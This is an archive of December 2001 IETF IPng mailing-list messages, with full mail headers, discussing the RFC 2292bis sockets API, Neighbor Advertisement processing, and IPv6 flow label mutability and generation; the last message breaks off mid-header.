Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 06:19:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJEJvZR014214 for ; Wed, 19 Dec 2001 06:19:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJEJvdc014213 for ipng-dist; Wed, 19 Dec 2001 06:19:57 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJEJrZR014206 for ; Wed, 19 Dec 2001 06:19:53 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA05342 for ; Wed, 19 Dec 2001 06:19:55 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA11445 for ; Wed, 19 Dec 2001 07:20:41 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBJEGcI04275; Wed, 19 Dec 2001 15:16:38 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id PAA22623; Wed, 19 Dec 2001 15:16:39 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBJEGcD58577; Wed, 19 Dec 2001 15:16:38 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112191416.fBJEGcD58577@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-reply-to: Your message of Tue, 18 Dec 2001 10:33:08 +0900. Date: Wed, 19 Dec 2001 15:16:38 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: Okay with me, too. I just tried to make the document clear in the 03 draft, but in fact I don't see practical usage of receiving the optional information on TCP sockets. If we can reach a consensus of leaving it unspecified (by removing the text), it's just fine. => I have not yet an opinion (so to leave it unspecified is by default my option :-). Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 07:17:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJFHOZR014269 for ; Wed, 19 Dec 2001 07:17:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJFHOUe014268 for ipng-dist; Wed, 19 Dec 2001 07:17:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJFHJZR014254 for ; Wed, 19 Dec 2001 07:17:19 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA11816 for ; Wed, 19 Dec 2001 07:17:12 -0800 (PST) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA07537 for ; Wed, 19 Dec 2001 08:17:59 -0700 (MST) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id RAA31390; Wed, 19 Dec 2001 17:16:57 +0200 Date: Wed, 19 Dec 2001 17:16:57 +0200 Message-Id: <200112191516.RAA31390@burp.tkv.asdf.org> From: Markku Savela To: Francis.Dupont@enst-bretagne.fr CC: ipng@sunroof.eng.sun.com In-reply-to: <200112191406.fBJE6FD58340@givry.rennes.enst-bretagne.fr> (message from Francis Dupont on Wed, 19 Dec 2001 15:06:15 +0100) Subject: Re: Clarify NA processing References: <200112191406.fBJE6FD58340@givry.rennes.enst-bretagne.fr> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From: Francis Dupont > => the is_router flag is in fact very easy: if the NA is valid > you take it and you get the transition table (I note u (unkown) > the bottom semantical value, with R and H): I don't have any "UNKNOWN" R/H state. It's either a host or a router. And, initial value is always HOST. > u -> H, u -> R: just note it > u -> u, H -> H, R -> R: nothing to do > H -> u, R -> u: should not happen (this is the effect of I don't have problem with what to do when transition R->H or H->R happens. The problem is how I detect this transition with certain class of Neigbor advertisements, specifically those that omit target link layer address. Do I process the R bit or not? In RFC-2461, section 7.2.5, there is quite complex sentence (for me)... .....If the Override flag is clear and the supplied link-layer address differs from that in the cache, then one of two actions takes place: if the state of the entry is REACHABLE, set it to STALE, but do not update the entry in any other way; otherwise, the received advertisement should be ignored and MUST NOT update the cache. If the Override flag is set, both the Override flag is clear and the supplied link-layer address is the same as that in the cache, or no Target Link-layer address option was supplied, ====================================== the received advertisement MUST update the Neighbor Cache entry as follows: ... So, depending on how you bind the or in ", or no Target", you may get different implementations. That's why I made the table (which I hope is clearer than above text) and wanted have a definite answer. So, this is the correct left corner then .... REACHABLE | - | - | - | - | - |addr=TLL| - |addr=TLL Address | - | - | - | - | STALE | STALE | STALE | STALE =! TLL | - | - | - | - | - | R | - | R ----------|-----------------------------|-------|--------|-------|-------- OTHER | - | - | - | - | - |addr=TLL| - |addr=TLL Address | - | - | - | - | - | STALE | - | STALE =! TLL | - | - | - | - | - | R | - | R ========================================================================== That is, if link layer is using addresses, ignore Neighbor advertisements without TLL totally? -- Markku Savela -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 07:19:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJFJvZR014317 for ; Wed, 19 Dec 2001 07:19:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJFJv6G014316 for ipng-dist; Wed, 19 Dec 2001 07:19:57 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJFJsZR014309 for ; Wed, 19 Dec 2001 07:19:54 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA12274 for ; Wed, 19 Dec 2001 07:19:55 -0800 (PST) From: jarno.rajahalme@nokia.com Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA18633 for ; Wed, 19 Dec 2001 08:19:53 -0700 (MST) Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33]) by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fBJFHec06210 for ; Wed, 19 Dec 2001 17:17:40 +0200 (EET) Received: from esebh24nok.ntc.nokia.com (unverified) by esvir01nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Wed, 19 Dec 2001 17:19:52 +0200 Received: by esebh24nok with Internet Mail Service (5.5.2652.78) id ; Wed, 19 Dec 2001 17:18:32 +0200 Message-ID: <009CA59D1752DD448E07F8EB2F91175719808E@esebe004.NOE.Nokia.com> To: kre@munnari.OZ.AU, brian@hursley.ibm.com Cc: ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Wed, 19 Dec 2001 17:18:19 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.78) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The current draft states that a non-zero label could be changed by an intermediate node to a non-zero value. However, during the discussion on the topic in SLC it was concluded (IMO) that this is undesirable, and it would be more useful (and sound) to keep the value always immutable (end-to-end). Then about the text about allowing changes if the value is preserved end-to-end. I agree it is kind of weird, but the intention was to say that if you really, really want to do label switching of any sort, you'll need to pay the price of being able to restore the original value before going out of a network doing such things. This was put in there to make this point. I agree that networks in general can and do modify packet contents in transit (e.g. header compression), but normally this happens below the IP layer (e.g. the link layer). AH: It could be possible to change AH, but it might not be worth it. The main problem would be the interoperability problem between a source sending non-zero flow label and including it in the AH computation, and an old destination receiving it and replacing 0's for the Flow Label for AH check (which would fail). But is this important? Could we just ignore AH? (Who is using it anyway?) Jarno > -----Original Message----- > From: ext Robert Elz [mailto:kre@munnari.OZ.AU] > Sent: 19. joulukuuta 2001 13:25 > To: Brian E Carpenter > Cc: ipng@sunroof.eng.sun.com > Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > > > Date: Wed, 19 Dec 2001 11:37:55 +0100 > From: Brian E Carpenter > Message-ID: <3C206E03.D4FC5CFB@hursley.ibm.com> > > | We can note the discrepancy, but I doubt if we can change > | IPSEC at this point in time. > > We wouldn't want to anyway. The draft doesn't make the > field immutable, > it just makes it usually immutable. If it was 0 at the > source, then it is > mutable, and if the host has told some router(s) that it is > OK to alter it, > it is mutable as well. > > Attempting to have IPSec deal with that would be silly. > > So, it is possible for routers to alter it, undetectably to > the receiver. > (Or unless copy of what it should be has been sent via other methods, > which it very well might be if there's been some flow setup done - the > receiver might even have told the senders what value to use if this a > multicast session set up via sd or similar). > > That it is possible however doesn't mean that we can't tell them they > must not - just as well tell them they must not increment the > hop limit. > If they do, there's no way for the receiver to know, so a > router could. > But it must not - it must decrement it instead. > > kre > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 07:33:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJFXdZR014455 for ; Wed, 19 Dec 2001 07:33:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJFXdJ4014454 for ipng-dist; Wed, 19 Dec 2001 07:33:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJFXZZR014447 for ; Wed, 19 Dec 2001 07:33:36 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA15986 for ; Wed, 19 Dec 2001 07:33:36 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA28047 for ; Wed, 19 Dec 2001 08:33:35 -0700 (MST) Received: from esealnt406.al.sw.ericsson.se (ESEALNT406.al.sw.ericsson.se [153.88.251.29]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBJFXYJ04946 for ; Wed, 19 Dec 2001 16:33:34 +0100 (MET) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt406.al.sw.ericsson.se ; Wed Dec 19 16:33:34 2001 +0100 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Dec 2001 16:33:34 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C150@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'jarno.rajahalme@nokia.com'" , kre@munnari.OZ.AU, brian@hursley.ibm.com Cc: ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Wed, 19 Dec 2001 16:33:16 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > AH: It could be possible to change AH, but it might not be > worth it. The > main problem would be the interoperability problem between > a source sending > non-zero flow label and including it in the AH computation, > and an old > destination receiving it and replacing 0's for the Flow > Label for AH check > (which would fail). But is this important? Could we just > ignore AH? (Who is > using it anyway?) > => I don't think we need to change AH. Even if we change AH, does that mean we would have to use it in every packet just because we want to use the flow label ? I don't think that's a good idea. I think there are some cases where we would want the receiver to reflect the flow label value, and for this case we might want to make sure that the value is correct. I had a preliminary idea and was going to write something about it. Basically the sender can generate the flow label based on a hash of the source and destination port numbers. This is straight forward enough. If we want to make it more sophisticated then we can add another number to the hash input (e.g P1 || P2 || x). Where x can be something specific to this flow. But I think P1 and P2 are enough. Comments ? Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 08:13:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJGDaZR014744 for ; Wed, 19 Dec 2001 08:13:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJGDaw9014743 for ipng-dist; Wed, 19 Dec 2001 08:13:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJGDXZR014736 for ; Wed, 19 Dec 2001 08:13:33 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA08900 for ; Wed, 19 Dec 2001 08:13:34 -0800 (PST) From: matthew.ford@bt.com Received: from cbibipnt03.HC.BT.COM (saturn.bt.com [193.113.57.20]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA13870 for ; Wed, 19 Dec 2001 09:13:34 -0700 (MST) Received: by cbibipnt03.hc.bt.com with Internet Mail Service (5.5.2652.35) id ; Wed, 19 Dec 2001 16:13:31 -0000 Message-ID: To: hesham.soliman@era.ericsson.se Cc: ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Wed, 19 Dec 2001 16:11:55 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hesham, > I had a preliminary idea and was going to write something > about it. Basically the sender can generate the flow label > based on a hash of the source and destination port numbers. > This is straight forward enough. If we want to make it > more sophisticated then we can add another number > to the hash input (e.g P1 || P2 || x). > Where x can be something specific to this flow. But > I think P1 and P2 are enough. I guess this doesn't work where the source is setting up flows to more than one destination using the same source and destination port numbers. So I think you need to include destination address in the hash computation as well. Mat. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 08:30:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJGUgZR014778 for ; Wed, 19 Dec 2001 08:30:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJGUgac014777 for ipng-dist; Wed, 19 Dec 2001 08:30:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJGUcZR014770 for ; Wed, 19 Dec 2001 08:30:38 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA12118 for ; Wed, 19 Dec 2001 08:30:40 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA12736 for ; Wed, 19 Dec 2001 08:30:39 -0800 (PST) Received: from esealnt406.al.sw.ericsson.se (ESEALNT406.al.sw.ericsson.se [153.88.251.29]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBJGUcJ20635 for ; Wed, 19 Dec 2001 17:30:38 +0100 (MET) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt406.al.sw.ericsson.se ; Wed Dec 19 17:30:38 2001 +0100 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Dec 2001 17:30:38 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C155@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'matthew.ford@bt.com'" , "Hesham Soliman (ERA)" Cc: ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Wed, 19 Dec 2001 17:30:19 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > I had a preliminary idea and was going to write something > > about it. Basically the sender can generate the flow label > > based on a hash of the source and destination port numbers. > > This is straight forward enough. If we want to make it > > more sophisticated then we can add another number > > to the hash input (e.g P1 || P2 || x). > > Where x can be something specific to this flow. But > > I think P1 and P2 are enough. > > I guess this doesn't work where the source is setting up > flows to more than > one destination using the same source and destination port > numbers. So I > think you need to include destination address in the hash > computation as > well. => Well, there is no requirement that the flow label is globally unique. So this should work as long as you use a unique value between 2 addresses. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 09:23:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJHNNZR015133 for ; Wed, 19 Dec 2001 09:23:23 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJHNNX0015132 for ipng-dist; Wed, 19 Dec 2001 09:23:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJHNJZR015125 for ; Wed, 19 Dec 2001 09:23:19 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA09117 for ; Wed, 19 Dec 2001 09:23:15 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA12708 for ; Wed, 19 Dec 2001 10:23:14 -0700 (MST) Received: from localhost ([3ffe:501:100f:13ff::a]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBJHIf347827; Thu, 20 Dec 2001 02:18:41 +0900 (JST) Date: Thu, 20 Dec 2001 02:18:39 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Markku Savela Cc: ipng@sunroof.eng.sun.com Subject: Re: concerning draft-ietf-ipngwg-rfc2292bis-03.txt In-Reply-To: <200112191254.OAA31223@burp.tkv.asdf.org> References: <200112172147.XAA29036@burp.tkv.asdf.org> <200112191244.OAA31205@burp.tkv.asdf.org> <200112191254.OAA31223@burp.tkv.asdf.org> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 35 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Wed, 19 Dec 2001 14:54:41 +0200, >>>>> Markku Savela said: > Ok, I posted sloppily, as defined it's not as bad as I thought, the > destopt before/after routing option has been removed. Good. >> in "4.Access to IPv6 and Extension Headers" there is >> setsockopt(fd, IPPROTO_IPV6, IPV6_RECVRTHDR, >> setsockopt(fd, IPPROTO_IPV6, IPV6_RECVHOPOPTS, >> setsockopt(fd, IPPROTO_IPV6, IPV6_RECVDSTOPTS, > ..and I pasted other than just extension header options. However, I > still question, whether the filter way of specifying them would be > a more robust solution. In terms of the notion of generalization, it might be better to use a same type of array as icmp6 filter. However, I don't see much benefit of it from a practical point of view. In fact, it is harder to introduce a new extension headers than to introduce a new ICMPv6 type (there was actually a discussion on this topic in this list, in a different context). Additionally, I'm not really sure if an application wants to receive such new extension headers for a practical purpose, while new types of ICMPv6 messages will tend to be handled in the application layer. For minor usage, we've already had perfectly generic mechanisms such as BPF and DLPI. So..., sorry, but I won't change the current spec unless we have a concrete and practical example of such new extension header types and applications that want to receive the headers. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 10:31:34 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJIVYZR016494 for ; Wed, 19 Dec 2001 10:31:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJIVYPH016493 for ipng-dist; Wed, 19 Dec 2001 10:31:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJIVUZR016480 for ; Wed, 19 Dec 2001 10:31:30 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA05176 for ; Wed, 19 Dec 2001 10:31:33 -0800 (PST) Received: from ztxmail04.ztx.compaq.com (ztxmail04.ztx.compaq.com [161.114.1.208]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA11135 for ; Wed, 19 Dec 2001 10:31:32 -0800 (PST) Received: by ztxmail04.ztx.compaq.com (Postfix, from userid 12345) id C839328C; Wed, 19 Dec 2001 12:31:30 -0600 (CST) Received: from taynzmail03.nz-tay.cpqcorp.net (taynzmail03.nz-tay.cpqcorp.net [16.47.4.103]) by ztxmail04.ztx.compaq.com (Postfix) with ESMTP id 950BA15BB for ; Wed, 19 Dec 2001 12:31:30 -0600 (CST) Received: by taynzmail03.nz-tay.cpqcorp.net (Postfix, from userid 12345) id 3772CD35; Wed, 19 Dec 2001 13:31:30 -0500 (EST) Received: from oflume.zk3.dec.com (broflume.zk3.dec.com [16.141.0.42]) by taynzmail03.nz-tay.cpqcorp.net (Postfix) with ESMTP id EC57EE5F for ; Wed, 19 Dec 2001 13:31:29 -0500 (EST) Received: from whitestar.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id NAA0000032174; Wed, 19 Dec 2001 13:30:43 -0500 (EST) Received: from zk3.dec.com by whitestar.zk3.dec.com (8.9.3/1.1.29.3/09Nov01-0546PM) id NAA0000133626; Wed, 19 Dec 2001 13:31:28 -0500 (EST) Message-ID: <3C20DD00.1C8D1AA8@zk3.dec.com> Date: Wed, 19 Dec 2001 13:31:28 -0500 From: Vladislav Yasevich X-Mailer: Mozilla 4.76 [en] (X11; U; OSF1 V5.1 alpha) X-Accept-Language: en MIME-Version: 1.0 Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis References: <200112181820.KAA08787@feller.mentat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I've been thinking about the suggestiong of removing the tcp handling from the document and keep comming up with the following 2 questions: 1. Why was the change made origianlly in the 2292bis? and 2. Why change now back to the original 2292 definition? I don't know the answere to 1 (may be Eric can help?) and noone has sufficiently answered 2. Thanks -vlad ++++++++++++++++++++++++++++++++++++++++++++++++++++ Vladislav Yasevich Tel: (603) 884-1079 Compaq Computer Corp. Fax: (435) 514-6884 110 Spit Brook Rd ZK03-3/T07 Nashua, NH 03062 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 10:36:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJIasZR016784 for ; Wed, 19 Dec 2001 10:36:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJIarax016783 for ipng-dist; Wed, 19 Dec 2001 10:36:53 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJIanZR016774; Wed, 19 Dec 2001 10:36:49 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA06351; Wed, 19 Dec 2001 10:36:51 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA15086; Wed, 19 Dec 2001 